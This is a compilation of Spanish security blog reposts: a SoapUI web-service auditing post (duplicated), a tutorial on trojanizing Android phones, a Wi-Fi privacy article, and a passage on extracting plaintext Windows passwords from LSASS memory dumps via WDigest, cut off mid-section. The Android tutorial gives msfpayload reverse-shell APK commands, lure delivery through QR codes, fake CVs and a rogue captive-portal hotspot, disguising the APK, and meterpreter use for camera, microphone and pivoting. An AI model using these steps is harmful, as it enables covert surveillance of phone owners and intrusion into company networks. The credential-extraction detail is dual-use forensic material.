Banner 1

SoapUI: Auditar Seguridad Webservices (WSDL & WADL)

0 comentarios
SoapUI es una herramienta Open Source con soporte para Windows y Mac OS X pensada para testear el funcionamiento de WebServices. De manera sencilla carga todos los interfaces de los ficheros WSDL o WADL y permite que se puedan lanzar tests de funcionalidad, test de carga o test de seguridad automatizados para evaluar el comportamiento de los mismos. 
Desde el punto de vista de una auditoría de seguridad web, hace muy sencillo cargar el interfaz completo de un sitio y empezar a realizar las pruebas al uso, ya que con sólo crear un proyecto con el fichero de interfaz, ya tenemos todo lo listo para empezar a probar.
Figura 1: Creación de un proyecto con SoapUI
Por ejemplo, la Nasa tiene muchos de los ficheros de descripción de interfaz publicados en Google, y con crear un nuevo proyecto ya están listas todas las peticiones, para que solo sea necesario sustituir los valores marcados con un signo de interrogación.
Figura 2: Uno de los interfaces de la Nasa cargados con SoapUI
La herramienta permite muchas opciones, y hay un manual de buena calidad publicado en Español, que puedes utilizar para sacarle el máximo provecho, pero desde el punto de vista de un auditor, lo más cómodo es tener las peticiones, y enchufarlas a través de un proxy a tu herramienta de auditoría manual preferida, como Zap o Burp.
Figura 3: Opción de Proxy en SoapUI
Una vez grabadas las peticiones, ya podrás lanzar tus tests de hacking preferidos, o hacerles fuzzing, pero si lo prefieres, puedes hacer también los tests desde la propia herramienta, tal y como si lo hicieras directamente desde el propio navegador.
Figura 4: Testing manual desde SoapUI

Hay que tener en cuenta que los ficheros de interfaz de WebServices pueden dar acceso a procedimientos que no están en uso en las aplicaciones web, por lo que un proceso de crawling de la web no sacaría todos, por ello, lo mejor es cargar todos los interfaces y probarlos uno a uno.

Si quieres aprender a automatizar pruebas, José Vila en SecurityArtWork ha hecho un artículo genial sobre cómo hacerlo: Automatizando pruebas con SoapUI.

Fuente: SoapUI es una herramienta Open Source con soporte para Windows y Mac OS X pensada para testear el funcionamiento de WebServices. De manera sencilla carga todos los interfaces de los ficheros WSDL o WADL y permite que se puedan lanzar tests de funcionalidad, test de carga o test de seguridad automatizados para evaluar el comportamiento de los mismos. 
Desde el punto de vista de una auditoría de seguridad web, hace muy sencillo cargar el interfaz completo de un sitio y empezar a realizar las pruebas al uso, ya que con sólo crear un proyecto con el fichero de interfaz, ya tenemos todo lo listo para empezar a probar.
Figura 1: Creación de un proyecto con SoapUI
Por ejemplo, la Nasa tiene muchos de los ficheros de descripción de interfaz publicados en Google, y con crear un nuevo proyecto ya están listas todas las peticiones, para que solo sea necesario sustituir los valores marcados con un signo de interrogación.
Figura 2: Uno de los interfaces de la Nasa cargados con SoapUI
La herramienta permite muchas opciones, y hay un manual de buena calidad publicado en Español, que puedes utilizar para sacarle el máximo provecho, pero desde el punto de vista de un auditor, lo más cómodo es tener las peticiones, y enchufarlas a través de un proxy a tu herramienta de auditoría manual preferida, como Zap o Burp.
Figura 3: Opción de Proxy en SoapUI
Una vez grabadas las peticiones, ya podrás lanzar tus tests de hacking preferidos, o hacerles fuzzing, pero si lo prefieres, puedes hacer también los tests desde la propia herramienta, tal y como si lo hicieras directamente desde el propio navegador.
Figura 4: Testing manual desde SoapUI
Hay que tener en cuenta que los ficheros de interfaz de WebServices pueden dar acceso a procedimientos que no están en uso en las aplicaciones web, por lo que un proceso de crawling de la web no sacaría todos, por ello, lo mejor es cargar todos los interfaces y probarlos uno a uno.

Si quieres aprender a automatizar pruebas, José Vila en SecurityArtWork ha hecho un artículo genial sobre cómo hacerlo: Automatizando pruebas con SoapUI.

Comprometiendo sistemas Android (1ª parte)

0 comentarios
Cada día más personas utilizan smartphones y tablets para navegar por Internet y gestionar sus cuentas online. Por este motivo, los cibercriminales centran los ataques hacia estos dispositivos, lo que supone la aparición de nuevas amenazas y malware.

Durante este año, el 98,09% de los ataques móviles fueron dirigidos al sistema operativo Android. Esto se debe a varios factores. En primer lugar, esta plataforma es muy popular ya que es el sistema operativo más utilizado en los smartphones, con una cuota de mercado del 70%. Además, la naturaleza de plataforma abierta del sistema operativo Android, la facilidad con la que se pueden crear las aplicaciones o la amplia variedad de mercados de aplicaciones (no oficiales) que existen influyen de manera significativa en la seguridad. Android le está ganando la partida al resto de sistemas operativos y ya es el software para móviles más utilizado en todo el mundo.

Por tanto, es un factor muy importante a tener en cuenta a la hora de securizar una red corporativa, o a la hora de planificar un ataque dirigido.

Los terminales inteligentes, pueden llegar a ser una puerta fácil, que nos abran las puertas a un objetivo bien securizado. En muchas redes y por descuido del usuario, suelen ser aparatos confiables... Ejemplo claro sería el móvil del jefe, conectado por wifi a la red , que da al traste con todas las políticas de IT, creerme que es más usual de lo que debiera. 

En esta serie de entradas vamos a ver como poder echar mano a este recurso....

Troyanizando Android

Para el ejemplo, nos vamos a valer de un módulo de Metasploit, Android meterpreter, que cabe destacar que es una herramienta brillante desde su "simpleza", la cual sería muy fácil incluir en algún código a modo de 'backdoor' sin levantar muchas sospechas. A parte los creadores han dejado el código fuente y mucha información a nuestra disposición.
También podríamos utilizar cualquier otro tipo de backdoor para android, o incluso aprovechar herramientas que pueden estar albergadas en el sistema, como veremos en entradas posteriores...

Para el que necesite más detalles sobre este módulo, me viene a la cabeza un buen artículo de SbD.

Para la infección veremos un par de ejemplos sencillos, aunque este apartado sólo esta limitado por la imaginación del artista...

Generando nuestro "caballo de troya"

Como dije anteriormente para ilustrar esta entrada nos va a bastar con android meterpreter, con el que vamos a generar una aplicación para infectar nuestro objetivo. No nos vamos a entretener mucho en detalles pero para el que conozca meterpreter y msfpayload no le será difícil enrevesar el proceso a fin de complicar su detección...

Tanto la elaboración como el ataque en sí difiere poco del meterpreter clásico:

Abriremos nuestro terminal y a typear:

#sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1..121 LPORT=4444 R > /root/Desktop/wifi.apk



Con esto generamos la aplicación, la cual nos está esperando en /root/Desktop/ 

recordar que la ip tiene que ser la de eth0 (o por donde nos entre internet).

Generando la infección

Vamos a ver dos métodos sencillos el primero todo un clásico "QR" y en el segundo utilizaremos un falso AP (que ya vimos en Hackplayers y con el fin de darle a este "cotarro" cierta continuidad interesante).

1er método

Para la primera nos basta con subir nuestra aplicación a cualquier servidor y generar un código QR de enlace a esta, lo podemos hacer directamente con SET o con cualquier herramienta online para este fin.
(luego veremos lo que puede hacer saltar nuestras alarmas)..

Arrancamos SET y seguimos estos pasos:

1) Social-Engineering Attacks
 

Seleccionamos la opción
 

9) QRCode Generator Attack Vector

Ingresaremos la url donde hemos subido nuestra apk.

El siguiente paso requiere de algo de ingeniería social para hacer llegar el código al objetivo:

Por ejemplo podemos mandar un currículum falso a recursos humanos de la empresa con el QR  (que esta de moda) dando el enlace de la descarga... otra cosa sera que la víctima ejecute el archivo....cosa más que improbable.

2º método

Nuestro hotspot trampa

 10 min. Gimp, html basico...se puede mejorar. Mi gato que es de la Sgae reserva los derechos.

Aquí refinaremos nuestro engaño...

Partiendo de la entrada anterior en la que creamos un punto de acceso falso, en esta ocasión añadiremos unas pequeñas modificaciones a nuestro AP para hacerlo pasar por un hotspot o portal cautivo lícito que ofrece servicio a Internet, y deberemos convencer al usuario a descargarse una aplicación y ejecutarla, para obtener un user y password válido.

Preparando la trampa

Si os acordáis, en el la entrada anterior hicimos un script para arrancar y darle las directrices a iptables al unisono se llamaba "RogueAP.sh"; en esta ocasión haremos otro que no es más que el mismo modificado con una  regla más de iptables para crear el portal cautivo.
 
Si os dais cuenta tan solo le he añadido una linea.

iptables -t nat -A PREROUTING -s 10.0.0.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 55555

Para el siguiente paso necesitamos tener instalado apache web server, y simular un hotspot ... para esto necesitaremos un index.html y un par de archivos php y ser algo creativos. Yo no me he esplayado mucho, pero cuanto más meticulosos seamos, mayor será la probabilidad de éxito, también podríamos clonar el hotspot de una cafetería, hotel etc...
No voy a entrar en el detalle de cada uno de los archivos, tan solo los describiré los más importantes y os dejo la descarga.

INDEX.html : nuestra página
log.php : se encarga de comprobar el login y de dejar pasar una vez hecho.
inf.php : filtra por user agent, si es android sirve una apk, si es un PC podría servir otro archivo ...tan solo está para android puesto es de lo que va la entrada...(el que quiera lo puede acabar y así tener un buen "atrapamoscas"). 

ficheros hotspot

Una vez descargada la carpeta , la copiamos a  /var/www/hotspot (previamente creado) y le damos permisos...


Ahora tan solo nos queda configurar apache.

Configurando Apache virtual host

Dado que llevo más de un asunto entre manos en mi servidor apache, para hacerlo que responda por el puerto 55555 que hemos configurado en Falsohotspot.sh anteriormente, y para hacer las cosas medio regular, he optado por configurarlo para que me sirva el hotspot como otro dominio en la máquina para ello seguiremos estos pasos...

#cp /etc/apache2/sites-available/default hotspot
#nano hotspot

Editaremos las 3 primeras lineas

 

Ahora activamos el site:

#a2ensite hotspot

En /etc/apache2/ports.conf decimos por donde va a estar escuchando nuestro hotspot.
nano /etc/hosts

y añadimos la linea 

127.0.0.1      hotspot
#/etc/init.d/apache2 restart

Con ésto hemos terminado de configurar apache.

Por último ejecutaremos visudo y añadiremos esta linea al final del archivo
www-data bt=(root) NOPASSWD:/sbin/iptables

ALARMA!!

Hemos dicho que vamos a utilizar el POC de meterpreter para android.....(podríamos utilizar cualquier otra apk pero a sido lo primero que he agarrado).

Así no creo que engañe a nadie desde luego...... tendremos que hacer algunos cambios, no muy difíciles para tener alguna oportunidad....aquí solo lo voy a tocar muy superfluamente, pero se puede profundizar muchísimo más...sólo limitados por nuestros conocimientos.. 
 

Vistiendo al lobo de cordero

Para realizar estos necesarios cambios, si queremos dar el pego (y es aquí donde he visto que yo solo me liado, podría haber cogido un soft mas adecuado) utilizaremos un tipo de  aplicación  a la que mi compañero Vicente es asiduo ;D Apk_manager.. lo tenemos de todos los sabores Linux, Windows, y mac 

Una vez instalada Apk_manager, vamos a llevar a cabo las siguientes acciones:

-descomprimiremos la aplicación.
-cambiaremos los archivos pertinentes.
-comprimiremos y firmaremos

Descomprimir la aplicacion: cogeremos el archivo creado con msfpayload lo situaremos en la carpeta place-apk-here-for-modding , arrancaremos la aplicacion con ./Scrit.sh , Nos preguntará si queremos limpiar la carpeta out, le diremos que NO.
Pulsaremos la opción 9.

Cambiar archivos: nos dirigimos a la carpeta Out y cambiamos los archivos que nos convengan.

Comprimir y firmar: pulsamos la opción 13 y tras esperar un rato ...Ctrl+C.. nos generará un archivo llamado repackaged-signed.apk en la carpeta place-apk-here for-mading. Copiaremos nuestra aplicacion modificada al directorio que previamente crearemos /var/www/hotspot/downloads.

Ya tenemos listo nuestro "atrapamoscas" para este ejemplo...Podemos echarle un par de horas para completarlo...  proporcionarle habilidades sniffers, completar su detección de User Agent y enviar otra serie de archivos, o incluso exploit remotos al objetivo....y tendremos un cebo MUY LETAL..no sólo para Android.... 

Explotando meterpreter android

Puff ya llegamos al final tranquilos....

Bueno a llegado el momento de comprobar si todo esta bien y arrancar nuestro invento...con una conexión a Internet por ETH0 (o en otra interface ya sea cableada o wireless) arrancaremos nuestro Hotspot con el script creado (no olvidar arrancar apache si no lo hemos hecho, y que eth0 tenga ip lo cual podemos forzar si es necesario con dhclient eth0), este a su vez arrancara nuestro servicio DHCP.

Arrancaremos msfconsole:

sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.1.121

set lport 4444
exploit

Tan sólo nos queda esperar a nuestros nuevo/s amigos....



Al cabo de un rato....vemos que nuestro objetivo picó...
Para ver que podemos hacer con meterpreter basta con hacer un help y nos dará un listado de sus posibilidades...

meterpreter>help

Entre algunas lindezas meterpreter nos permite hacer capturas con la cámara y el micro, tener un acceso a la shell del sistema con lo que esto supone, subir y descargar archivos.etc etc.

Debemos considerar la posibilidad de un acceso permanente al dispositivo, (que ya veremos), aparte de esto hay una opción muy interesante al igual que peligrosa, es la posibilidad de hacer port-relaying desde el terminal móvil... Sería un desastre que el usuario tuviese levantado la VPN que le da acceso a la red interna de la empresa....

meterpreter> portfwd add -l 80 -r 192.168.123.15 -p 80

MORALEJA : utiliza siempre el sentido común. Usuario de teléfono móvil precavido vale por dos. Cuidado con los archivos que llegan por mensajería instantánea, correo electrónico o de cualquier otra manera....tener un buen hábito para la seguridad informática vale por dos antivirus, y por último un firewall para tu teléfono te puede ahorrar mas de un dolor de cabeza...

Fuente: http://www.hackplayers.com/2014/02/comprometiendo-sistemas-android-1-parte.html

Tu privacidad en peligro por culpa de las conexiones WiFi

0 comentarios
 Hace tiempo que quería escribir sobre este tema que me tiene dando vueltas a la cabeza, y no es otra que la privacidad de las personas y las redes WiFi que frecuenta. En un titular, la idea es que alguien puede saber qué lugares frecuentas - includo dónde vives - gracias las redes WiFi que busca tu dispositivo. Es decir, saber en qué ciudades has estado, en que hoteles, en qué bloques de edificios o en que restaurantes has comido, siempre que te hayas conectado a una red WiFi allí y no hayas tenido la precaución de eliminarla.
Esta afirmación tiene muchos detalles importantes, así que voy a intentar ir por partes para no dejarme nada, y poder llevaros a una conclusión final entendible. Comencemos por un fallo de seguridad en los dispositivos iOS, Android y los equipos Mac OS X - seguro que alguno más también, pero no los Microsoft Windows -, como aperitivo.
Búsqueda de redes WiFi
Cuando una red WiFi expone su SSID (su nombre) mediante la difusión de Beacon Frames, no es necesario que ningún equipo cliente vaya buscándola incansablemente. ¿Qué ganaría?. El equipo sólo podría conectarse a ella si la red está emitiendo Beacon Frames que indiquen que está activa.
Sin embargo, aunque la red no esté oculta, los equipos con iOS, Android o Mac OS X, buscan insaciablemente todas las redes a las que se han conectado alguna vez, lo que permite a cualquier atacante que escuche los mensajes Probe de estos dispositivos, saber a qué redes se ha conectado alguna vez ese dispositivo.
Figura 1: SSIDs buscados por un iPhone
Si a esto le sumamos que ni iOS, ni Android, ni Mac OS X validan el BSSID - y la validación BSSID es importante -, los hacen más que propensos a los ataques de Rogue AP, pero esa es otra historia de la que ya hemos hablado por aquí hace tiempo.
En el caso de los sistemas Microsoft Windows esto no es así. Si un equipo con Windows 6.X {Vista, 7 u 8} tiene configurada una red WiFi, este equipo no emitirá un mensaje Probe si la red no está emitiendo los Beacon Frames, con lo que no descubrirá nunca a qué redes se ha conectado en el pasado. Como debe de ser para proteger la seguridad de un cliente.
Conexiones a redes WiFi ocultas
Pero como en todo, hay dos caras en esta moneda. Si el dueño de la red WiFi, para quitarse curiosos ha decidido ocultar la red WiFi mediante la no emisión de Beacons Frames, entonces los clientes Microsoft Windows no se conectarían nunca a esa red, ya que no emitirían mensajes Probe hasta no recibir un anuncio de la presencia de la WiFi. Para ello, en la configuración de las propiedades de una red inalámbrica es posible marcar una opción que dice: "Conectar aunque la red no difunda su nombre (SSID)".
Figura 2: Opciones de conexiones a redes WiFi en Windows
En ese caso, los equipos Windows emitirían mensajes Probe para localizar las redes WiFi que están ocultas - solo con estas redes -, pero claro, esto lo harían en cualquier ubicación donde esté el sistema, descubriendo las redes a las que se han conectado en el pasado. La ventaja en Microsoft Windows es que se puede elegir - como en muchos de los ejemplos descritos en Máxima Seguridad en Windows -, y en el peor de los casos se comportaría como un Mac OS X, y solo a cambio de tener el beneficio de poder tener la red WiFi oculta - algo se gana -.
Pensando en la privacidad de los clientes
No obstante, visto lo visto, creo firmemente que puestos a elegir es mejor no descubrir a qué redes se conecta una persona - para garantizar su privacidad - a costa de no ocultar el SSID de una red WiFi, ya que esa protección solo es para curiosos, y no para atacantes que estén haciendo wardriving en la zona. Cualquier atacante avanzado solo tiene que esperar un poco en la zona para descubrir toda la información de la red, ya que con el primer cliente que se conecte será posible descubrir que allí hay una red WiFi oculta con un SSID que va en el mensaje Probe de establecimiento de conexión.
Por otro lado, el que una persona vaya contándole a todo el mundo a qué redes se conecta es como ir contándole a todo el mundo dónde vive, dónde trabaja, dónde veranea y en que lugar vive su amante. Algo que puede afectar seriamente a la privacidad de los clientes.
Cómo saber en qué lugar está una red WiFi
Hasta el momento yo he dicho que publicar a qué redes te conectas es como enumerar una lista de sitios que frecuentas, y esto es así gracias a las bases de datos de wardriving creadas con el esfuerzo de muchos amantes de esa disciplina. Estas bases de datos no suelen ser abiertas para todo el mundo, y suele haber sistemas de radio para acceder a ellas - es decir, tú colaboras reportando las redes WiFi que descubra tu equipo y te dejamos consular la base de datos -. 
Figura 3: Popular herramienta de Wardriving WiFiFoFum
Ejemplos de estas herramientas pueden ser WiFiFoFum o WiFiGet Scan, pero si quieres ver un ejemplo funcional de una base de datos grande, Wigle.net tiene una base de datos de los Estados Unidos bien repleta, y permite buscar todas las redes en ubicaciones GPS utilizando el SSID.
Figura 4: Ubicación GPS de la red amanda3413 en Wigle.NET
Los grandes Wardrivers: Google y Apple
Para que la localización de personas se pueda hacer a través del valor SSID de la red WiFi es necesario contar con una buena base de datos de nombres SSID, valores BSSID y ubicaciones GPS, lo que implica muchos amantes del wardriving peinando ciudades. 
Para solucionarlo, los grandes wardrivers, a.k.a. Google y Apple, decidieron convertir a todos los clientes de sus terminales iOSAndroid - además de utilizar el Google Street Car - en wardrivers, de tal manera que cada vez que un usuario con los servicios de localización activados en su dispositivo detecta una red WiFi, reporta su posición tanto a Google como a Apple.
Figura 5: Ejemplo de reporte a Apple de información de red WiFi
Esto dio lugar a la famosa charla de "Cómo conocí a tu chica" en BlackHat, en la que se hacía uso de la API de Google para localizar ubicaciones físicas de equipos WiFi basados en su dirección MAC. Pero la API está ahora prohibida. Google ha capado esa conexión.
Lo curioso es que el reporte no es inmediato, así que si activas los servicios de localización se reportan las últimas redes WiFi y sus posiciones, lo que lleva a que el propio reporte de las redes WiFi a las que te conectas con un iOS sea también un leak de información que deje claro a que BSSIDs te conectas.
Debido a este comportamiento de los dispositivos Apple se ha publicado iSniff-GPS, que permite capturar los mensajes que emite un iPhone/iPad pudiendo localizar las redes WiFi a las que se ha conectado y su ubicación GPS. Adios privacidad.
Figura 6: iSniff-GPS mostrando en un mapa las redes a las que se conecta un terminal iOS
¿Cómo protegernos de esto?
Tras analizar esto, hay que suponer que, el SSID y el BSSID de nuestra red WiFi, y su ubicación GPS, de una manera u otra ha acabado en una base de datos de Wardrivers, ya sea de aficionados a esta disciplina o de grandes profesionales en esta materia como Google o Apple. Así que, cualquiera que sepa a qué redes nos conectamos acabará por localizar nuestros lugares de hábito, lo que para muchas personas puede ser un grave problema.
Para evitar esto, si tienes un equipo portátil, parece que Windows es el que mejor trata la seguridad de las conexiones WiFi, así que no ocultes el SSID de tu red WiFi, fortifica la red para estar más protegido contra los ataques, y listo. Como truco, utiliza SSIDs comunes, aunque no demasiado. Me explico, lo suficientemente comunes para que salgan bastantes redes con el mismo SSID en cualquier base de datos de wardriving, pero no demasiado comunes como para que alguien haya decidido pre-calcularse las rainbow tables de ese SSID para WPA/WPA2-PSK. Aquí tienes un artículo sobre cómo atacar redes WPA/WPA2-PSK.

Si tienes la red oculta, o un Mac OS X, o un terminal móvil con iOS {iPhone & iPad} o Android, lo mejor que apagues la WiFi siempre que no sea estrictamente necesario que la tengas encendida, usa conexiones 3G - cuidado con las GPRS - siempre que te sea posible, y borra cualquier red WiFi que hayas usado una vez termines de trabajar con ella - y aún esté en tu ámbito de alcance -.

Fuente: http://www.elladodelmal.com/2013/05/tu-privacidad-en-peligro-por-culpa-de.html

Windows Logon Password – Get Windows Logon Password using Wdigest in Memory Dump (ingles)

0 comentarios
1. Introduction
The former way to acquire the Windows logon password of user is to get a NTML hash value through the Windows logon session and registry then crack it. [Figure 1] shows the well-known ways to get a NTML hash value of user’s windows logon password. For more information, take a look at “Dump Windows password hashes efficiently” on http://bernardodamele.blogspot.kr/.

Table 1 Way of obtaining NTLM hash of user’s Windows logon password as per files
Files Ways of obtaining NTLM hash of password
SAM Decrypt the value of SAM hive file
NTDS.DIT Decrypt after extracting the database table of NTDS.DIT
NTDS.DIT /SAM Use the password history of NTDS.DIT/SAM hive file
SECURITY Decrypt LSA secret of SECURITY hive file
SECURITY Use the cached domain logon information of SECURITY hive file
MSV1.0 Use the credential information of Windows logon session

All of the obtained information using these methods is NTLM hash and it needs to be cracked with password crack tools. If the password is too long and even hard to crack, it is difficult to acquire the user’s Windows logon password. However, the tool called “Mimikatz” [1] has been announced in 2012 to solve the problem. It uses DLL injection on live status so that it can print out the user’s Windows logon password as a plaintext even though the password is long.

In this article, we’ll apply one of the methods used in “Mimikatz” called “extracting user’s Windows logon password using Wdigest” to memory dump, so we can help out the investigators with memory forensics.

2. Windows Authentication Package
Windows Authentication Package is one of the major components to implement the Windows security and it includes Lsass process context and DLLs executed in client’s process. The role of authentication DLL is to examine whether the user’s name is in agreement with the password. If the authentication information is consistent, it returns the user’s specific information to Lsass. Lsass create the token based on this. In typically, there are MSV1_0, TsPkg, Wdigest, LiveSSP, Kerberos, and SSP for windows authentication package and each package is carried out by various usage like Remote RDP, and Web service. It has a feature that it always carries the specific data in memory for Challenge-Response method. In this article, we will cover only Wdigest in Windows authentication package.

2.1 WDigest.dll
Wdigest.dll was first introduced in Windows XP system, and developed to authenticate the user in HTTP digest authentication and SASL (Simple Authentication Security Layer). This is used in digest authentication using Challenge-Response method as NTLM protocol. Also it transfers certificate through MD5 hash or message digest and it offers more improved security than before. However, to get a key for authentication, user’s plaintext password is necessary and it can be abused. [Figure 1] and [Table 2] explan the digest authentication architecture and the elements.
Digest Authentication Architecture
Figure 1 Digest Authentication Architecture

Table 2 Digest Authentication Elements
File Explanation
Wdigest.dll It works for SSP which is used for LDAP and Web authentication
Lsasrv.dll Security service management of LSA (Security policy and behavior)
Secur32.dll It works for application SSPI of user mode
Ksecdd.sys It is used when kernel security device driver communicates with Lsass in user mode.

3. Extracting Windows logon password on live status
[Figure 2] shows the process of extraction of Windows logon password on live status using DLL injection in Wdigest.
2
Figure 2 The process of extraction of Windows logon password on live status using Wdigest

The working process for each element of conducted function/dll during extraction is as follows.
  1. First, you have to collect the number of sessions and logon session identifiers (LUIDs) which exist in system through the LsaEnumerateLogonSessions function of Lsass. [Figure 3] is the LsaEnumerateLogonSessions function.
LsaEnumerateLogonSessions Function
Figure 3 LsaEnumerateLogonSessions Function

LogonSessionCount pointer variable has the number of logon sessions, and LogonSessionList pointer variable has the address value of the first element among the logon session identifiers. Based on this, you can trace the Logon session list existing in system.

  1. I_LogSessList of Wdigest.dll is made of LIST_ENTRY structure, and it has use name, domain, encrypted password, domain DNS and so on written in Unicode character as well as Flink, Blink, and LUID.

  1. Afterward, you can decrypt the encrypted password obtained from I_LogSessList through LsaUnprotectedMemory function of Lsasrv.dll. [Figure 4] shows the LsaUnprotectedMemory function[2].
LsaUnprotectedMemory Function
Figure 4 LsaUnprotectedMemory Function

  1. When the LsaUnProtectedMemory function is decompiled, it looks like [Figure 5].
Decompile the LsaUnprotectMemory Function
Figure 5 Decompile the LsaUnprotectMemory Function

It calls out LsaEncryptMemory function internally, and [Figure 6] suggests the result of  decrypted LsaEncryptMemory function.
Decompile the LsaEncryptMemory function
Figure 6 Decompile the LsaEncryptMemory function

With the result above, you can finally figure out that the LsaEncryptMemory function of Lsasrv.dll decrypt the encrypted password using pblV and 3DesKey handle value.
We tried to explain the whole working process so far. Anyone who wants to check out the working process through code, you can visit https://github.com/thomhastings/mimikatz-en/.

4. Extracting Windows Logon Information in memory dump
Before you extract the information, we will explain how to obtain windows logon password using WDigest in memory dump. Let’s take a look at [Table 3].

Table 3 What you need to know
Category Explanation
dll needed WDigest.dll : It has the address of encrypted password value.Lsasrv.dll : It is needed to decrypt the encrypted password.
value to find WDigest.dll : The address of encrypted password value of l_LogSessListLsasrv.dll : The handle value of 3DesKey and pbIV value

When you only refer to the contents of [Table 3], extracting password may look simple. However it has to go under complicated order to find and trace the value in memory dump. You can only access the memory dump file we have by physical address because the pointer value of dll is based on virtual address.

From now on, we will figure out how to extract the Windows Logon password in memory dump. First of all, you have to check out the parent process called PID of Lsass.exe to extract WDigest.dll and Lsasrv.dll. [Figure 7] shows the result of PID of Lsass.exe using pslist plugin of Volatility.
Check the PID of Lsass.exe
Figure 7 Check the PID of Lsass.exe

When Lsass.exe is being executed, it obtains the memory dump of Lsass.exe using memdump plugin to identify the value of allocated memory space. [Figure 8] shows the result of memory dump command of Lsass.exe, called PID488.
execution of Lsass.exe memory dump
Figure 8 execution of Lsass.exe memory dump

So far, we have tried to reduced the size of dump file we need to analyze to obtain the Windows Logon password by Lsass.exe memory dump, which has “whole memory dump -> every value to extract”. As we mentioned, Lsass.exe memory dump also can be accessed by physical address. So you have to create the memory map file for mapping of virtual address and physical address. [Figure 9] shows how to extract memory map of relevant memory dump with memmap plugin.
Collecting Memory Map
Figure 9 Collecting Memory Map

Next, you have to dump WDigest.dll, one of the dlls needed to extract Windows Logon password. [Figure 10] shows the command how to dump Wdigest.dll.
WDigest.dll Dump
Figure 10 WDigest.dll Dump

WDigest.dll has an address of encrypted password value, and you can check the very beginning address of the list out on I_LogSessList to trace it. It is made of LIST_ENTRY structure. [Figure 11] shows the stored value on I_LogSessList.
Identifying l_LogSessList
Figure 11 Identifying l_LogSessList

0x168D50 means the virtual address of the very first element of user’s logon session list. You have to find the space including the relevant address, and then identify the physical address of Lsass.exe memory dump file. [Figure 12] shows the searching of virtual address space including 0x168D50 in memory map file.
Searching the address including 0x168D50
Figure 12 Searching the address including 0x168D50

The space from size 0×00168000 to 0×1000 is mapped from 0x5c000 of Lsass.exe memory dump file. You can check the value by moving to 0x5C00 + (0x168D50 – 0x168D00) = 0x5CD50 from Lsass.exe physical memory dump. [Figure 13] shows the point of offset 0x5CD50 on WinHex.
The Point of 0x5CD50 in Lsass.exe physical memory dump
Figure 13 The Point of 0x5CD50 in Lsass.exe physical memory dump

On 0x5CD50, you can find the user account on 0×20. If you cannot find anything, you have to check the next 4 byte. In this memory dump, the user account is on the point 0x001C80A9. This point is 4 byte away from offset 0x5CD74. You can check it out in [Figure 14].
Searching the address including 0x001C80A8
Figure 14 Searching the address including 0x001C80A8

Now let’s move to point 0xBC000 + (0x1C80A8 – 0x1C8000) = 0xBC0A8 in Lsass.exe memory dump.You can identify the user account by unicode. This is shown in [Figure 15].
Identifying User Account
Figure 15 Identifying User Account

The encrypted Windows Logon password of user is on offset 0x5CD74 + 0×10, which has the user’s account information address. You can check the value of physical address 0x001A1DB8 of point 0x5CD84 in [Figure 13] like shown in [Figure 16],
Searching The Address including 0x001A1DB8
Figure 16 Searching The Address including 0x001A1DB8

If you move to point 0x95DB8 in Lsass.exe memory dump, you can find the hex value shown in [Figure 17]. That part refers to the encrypted user’s password achievable on WDigest. Because there is 0×00(NULL) in the middle, you can figure out that the actual valid value of encrypted user’s Windows logon password is by 0x95E23.
Encrypted User’s Windows Logon Password
Figure 17 Encrypted User’s Windows Logon Password

For next, you have to dump the Lsasrv.dll which is necessary to decrypt the user’s encrypted Windows logon password. [Figure 18] shows the result of dumped dll. The way of plugin command is same as WDigest.dll.
Dump of Lsasrv.dll
Figure 18 Dump of Lsasrv.dll

The handle value of 3DesKey is used during the process of decryption of LsaEncryptMemory function, and it is shown in [Figure 19]. However, what we actually need is the value of pbSecret instead of the handle value of 3DesKey. Because the final values to decrypt are composed of pbSecret, pbIV, and encrypted user’s Windows logon password. The value of pbSecret exists in the address of 3DesKey and the location of 0x3C.
Address of 3DesKey
Figure 19 Address of 3DesKey

By [Figure 20], you can see that 0×31000 is mapped to the physical address of 0xFB000.
Searching the address including 0x310000
Figure 20 Searching the address including 0×310000

As we mentioned, pbSecret exists right after the location of 0x3C. Therefore you need to move to 0XFB000 + 0x3C = 0xFB03C of Lsass.exe memory dump. As [Figure 21] shows, there is room of 4 byte in front of the address, and you can find the hex value right after that.
The value of pbSecret
Figure 21 The value of pbSecret

At last, you can figure out the pbIV value with just checking the first index value of array InitializationVector[4] of Lsasrv.dll. [Figure 22] shows the result of value of pbIV.
The value of pbIV
Figure 22 The value of pbIV

Last, you can check the actual user’s logon password through the 3Des and obtained value using Python. [Figure 23] is shows the relevant Python code.
Python code to decrypt the user’s password
Figure 23 Python code to decrypt the user’s password

[Figure 24] shows the result of executed code. You can decrypt the password even it is very long.
The result of executed code
Figure 24 The result of executed code

5. Volatility Plugin – logon
We created the Volatility plugin based on the method of extracting the Windows logon password from memory, which we introduced in this article before. In this chapter, we will briefly cover how the plugin works. Let’s take a look at the working order of plugin.

5.1. Memory dump of Lsass.exe, Wdigest.dll, and Lsasrv.dll
First, you need to extract some space to collect the most necessary information. In this plugin, we will dump the memory space of the process which owns the necessary space. [Figure 25] shows the function executing the dumping.
dump() function
Figure 25 dump() function

Each necessary image can be dumped by basic dump modules provided by Volatility. You can use the name of the images you need from the list so to automatically dump with filtering.

5.2. Extracting the name of user’s account
When extracting the name of user’s account from memory, you need to check the value of  l_LogSessList+0×20(the address which has the name of user’s account as unicode). If the address is invalid, you have to check the address of 4 byte field to find the account. However, it is difficult to figure out which address has an account in which filed in plugin. Therefore you need to check the address value of specific space(4 byte * 3 times) first, and then move to that address to check if there is a valid character string and check if there is an account. When verifying a valid account, you have to follow the policy of Windows account name. [Figure 26] shows the routine to find the address which has account name.
Routine to find the address which has the account name
Figure 26 Routine to find the address which has the account name

Then you need to verify whether the account name corresponds to the saved value in the routine as shown in [Figure 27].
Routine to verify the account name
Figure 27 Routine to verify the account name

5.3. Extracting the encrypted password
There exists an encrypted password of relevant account in +0×10 away from the field which has the account name. Therefore when verifying the account name, if you find any valid account, you have to calculate the field address +0×10, where the account was found. Then you can extract and check the address value which has an encrypted password. As we mentioned in [Figure 17], the length of the character string of encrypted password is different from that of the encrypted password saved 4 byte before. So you have to do the extracting only by 0×00(NULL) in the relevant routine, and save the necessary value for the actual decryption. [Figure 28] shows the routine of extracting encrypted password.
Routine to extract the encrypted password
Figure 28 Routine to extract the encrypted password

5.4. Extracting the value of pbSecret
